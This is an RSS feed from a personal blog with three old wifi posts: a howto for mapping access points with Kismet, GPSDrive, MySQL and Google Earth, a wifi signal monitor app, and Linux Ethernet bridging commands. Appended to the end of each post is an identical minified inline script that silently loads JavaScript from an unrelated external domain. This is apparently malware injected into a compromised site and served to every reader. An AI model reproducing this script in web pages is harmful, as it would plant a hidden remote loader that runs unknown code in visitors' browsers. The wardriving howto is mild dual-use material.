<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jkx@home &#187; Software</title>
	<atom:link href="http://www.larsen-b.com/topics/wifi/software/feed" rel="self" type="application/rss+xml" />
	<link>http://www.larsen-b.com</link>
	<description>Titanium Exposé</description>
	<lastBuildDate>Fri, 31 Oct 2025 02:15:37 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5</generator>
		<item>
		<title>Kismet + GPSDrive + MySQL + Python = Google Earth Wlan Map</title>
		<link>http://www.larsen-b.com/Article/212.html</link>
		<comments>http://www.larsen-b.com/Article/212.html#comments</comments>
		<pubDate>Thu, 18 Aug 2005 13:49:44 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Software]]></category>
		<category><![CDATA[google earth]]></category>
		<category><![CDATA[gps]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[Wifi]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Last week I decided to build a map of the wireless access point in the Town. It is not really easy to find the right tools, so I decided to write this little Howto. To archive this goal you need &#8230; <a href="http://www.larsen-b.com/Article/212.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Last week I decided to build a map of the wireless access point in the Town. It is not really easy to find the right tools, so I decided to write this little Howto.</p>
<p>To archive this goal you need severals tools:</p>
<div id="kismet" class="section">
<h1><a name="kismet">Kismet</a></h1>
<p>First install <a class="reference" href="http://www.kismetwireless.net/">Kismet</a>. You need a wireless card that support RFMon in monitor mode. I think <a class="reference" href="http://madwifi.sourceforge.net/">Madwifi</a> cards, and patched <a class="reference" href="http://www.kismetwireless.net/documentation.shtml">Orinoco</a> are the only ones that support this.</p>
<p>Launch Kismet, and now check for a given AP that kismet know the best level..</p>
<p>If everything is ok, edit the kismet config file and set <em>gps=try</em></p>
</div>
<div id="gpsdrive" class="section">
<h1><a name="gpsdrive">GPSDrive</a></h1>
<p>Download and install the latest CVS version of <a class="reference" href="#gpsdrive">GPSDrive</a> (I have some issues with the latest tgz and kismet). The next step is to have a GPS working with gpsd. Most GPS will work, I bought a cheap one with a USB cord on ebay.</p>
<p>Simply launch gpsd, and after gpsdrive. You should see the reception level in <a class="reference" href="#gpsdrive">GPSDrive</a>.</p>
<p><!-- GPSDrive: http://gpsdrive.kraftvoll.at/ --></p>
</div>
<div id="mysql" class="section">
<h1><a name="mysql">MySQL</a></h1>
<p>To use Kismet + GPSDrive, you need to have a MySQL database. In fact GPSDrive will ask to kismet the new APs, and dump this informations in a MySQL db. You can find the create.sql in <a class="reference" href="#gpsdrive">GPSDrive</a> sources.</p>
<pre class="literal-block">mysql -u root -p &lt; ./create.sql</pre>
<p>This will add a user : gast / gast</p>
</div>
<div id="first-try" class="section">
<h1><a name="first-try">First try</a></h1>
<p>Ok, now launch <a class="reference" href="#gpsdrive">GPSDrive</a> and set the &#8216;use SQL&#8217; (or edit the config file), and quit.</p>
<p>Now to start the whole stuff:</p>
<ul class="simple">
<li>Plug the wireless antenna (this is better for wardriving ;)</li>
<li>Plug the GPS</li>
<li>Launch gpsd (be carefull to have enought satellite in view)</li>
<li>Launch <a class="reference" href="http://www.kismetwireless.net/">Kismet</a> (it should tell you, it find the GPS&#8230;)</li>
<li>Launch <a class="reference" href="#gpsdrive">GPSDrive</a> (it should display a little kismet logo on bottom)</li>
<li>Now, you&#8217;re ready to go, walk down the street you should see new APs on the <a class="reference" href="#gpsdrive">GPSDrive</a> map.</li>
</ul>
<div class="image"><img src="http://www.brest-wireless.net/albums/Misc/full_gpsdrive.sized.jpg" alt="http://www.brest-wireless.net/albums/Misc/full_gpsdrive.sized.jpg" /></div>
</div>
<div id="after-the-trip-google-earth" class="section">
<h1><a name="after-the-trip-google-earth">After the trip: Google Earth</a></h1>
<p>Ok, now you have a lot of points in your database.. And GPSDrive have a little troubles to display them.. After a little time, i decided to install <a class="reference" href="http://earth.google.com/">Google Earth</a>, and look at the way to add new points on the map..</p>
<p>This, is quite simple, all i need to do is to extract data form the SQL, and build a xml file that contain all the points. I decided to write <a class="reference" href="http://svn.pythonfr.org/public/pythonfr/utils/misc/gpsdriveToGoogleEarth.py">gpsdriveToGoogleEarth.py</a>. This quick and dirty script will generate a file &#8216;ap.kml&#8217;. Now simply launch Google Earth and open this file. You will see something like this:</p>
<div class="image"><img src="http://www.brest-wireless.net/albums/Misc/google_earth.sized.jpg" alt="http://www.brest-wireless.net/albums/Misc/google_earth.sized.jpg" /></div>
<p>The main issue for me, is that <a class="reference" href="http://earth.google.com/">Google Earth</a> doesn&#8217;t support Linux right now so I need to dual-boot.. But this provide a easy way to build the card without too much pain. And i can share the Google Earth file others guys simply.</p>
</div>
<div id="warning" class="section">
<h1><a name="warning">WARNING</a></h1>
<p>I do this only for the fun, so don&#8217;t try to hack wireless access point using this howto, this is not the goal !</p>
<p>&#8211; Enjoy</p>
</div>
<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/212.html/feed</wfw:commentRss>
		<slash:comments>38</slash:comments>
		</item>
		<item>
		<title>Gtk-Womitor 0.2</title>
		<link>http://www.larsen-b.com/Article/174.html</link>
		<comments>http://www.larsen-b.com/Article/174.html#comments</comments>
		<pubDate>Mon, 25 Oct 2004 23:29:40 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Software]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[Wifi]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Ok the name, is funny .. But I decided to write a little app to monitor my wifi signal level. The code is too ugly right now, I need to add noise, signal .. and a better OO API. Anyway, &#8230; <a href="http://www.larsen-b.com/Article/174.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Ok the name, is funny .. But I decided to write a little app to monitor my wifi signal level.</p>
<div class="image"><img src="http://www.larsen-b.com/static/gtk-womitor.png" alt="/static/gtk-womitor.png" /></div>
<p>The code is too ugly right now, I need to add <em>noise</em>, <em>signal</em> .. and a better OO API. Anyway, it tooks me 2 hours to write this, and that&#8217;s why I like Python.</p>
<p><strong>Update</strong></p>
<p>I spend a little time tonight to clean the code and add this to the SVN. So you can find this program at <a class="reference" href="http://svn.pythonfr.org/public/pythonfr/utils/gtk-womitor/">here</a></p>
<p>I switched to another card, as I&#8217;m usually working w/ a broadcom and ndiswrapper which don&#8217;t provide noise, and level information. This graph is done with a NetGear (prism54g based card). I&#8217;m still wondering why the noise has a so strange graph ??<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/174.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Slow bridging the Wifi</title>
		<link>http://www.larsen-b.com/Article/57.html</link>
		<comments>http://www.larsen-b.com/Article/57.html#comments</comments>
		<pubDate>Thu, 27 Nov 2003 20:20:43 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Software]]></category>
		<category><![CDATA[Network]]></category>
		<category><![CDATA[Wifi]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[In fact, i&#8217;m trying to turn my Wifi gateway (which is really a gateway 2 interfaces + masquerading ) in a transparent bridge. You know only have a single IP for the two interfaces, so going on the wired networks &#8230; <a href="http://www.larsen-b.com/Article/57.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>In fact, i&#8217;m trying to turn my Wifi gateway (which is really a gateway 2 interfaces + masquerading ) in a transparent bridge. You know only have a single IP for the two interfaces, so going on the wired networks and back won&#8217;t be masquerade. In fact until now i can&#8217;t access to the Wifi network from the wired one.</p>
<p>So i give it a try to Ethernet Kernel Bridging:</p>
<pre class="literal-block"># unsetting devices
ifconfig eth0 0.0.0.0
ifconfig eth1 0.0.0.0

# adding bridge / and ifaces
brctl addbr br0
brctl addif eth0
brctl addif eth1

# configure the bridge
ifconfig br0 192.168.1.20
route add default gw 192.168.1.1</pre>
<p>Besides it&#8217;s works .. connecting to the wired from the wifi with ips in the same network. it&#8217;s slowww.. really tooo slow.</p>
<p>I need to look at this.<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/57.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
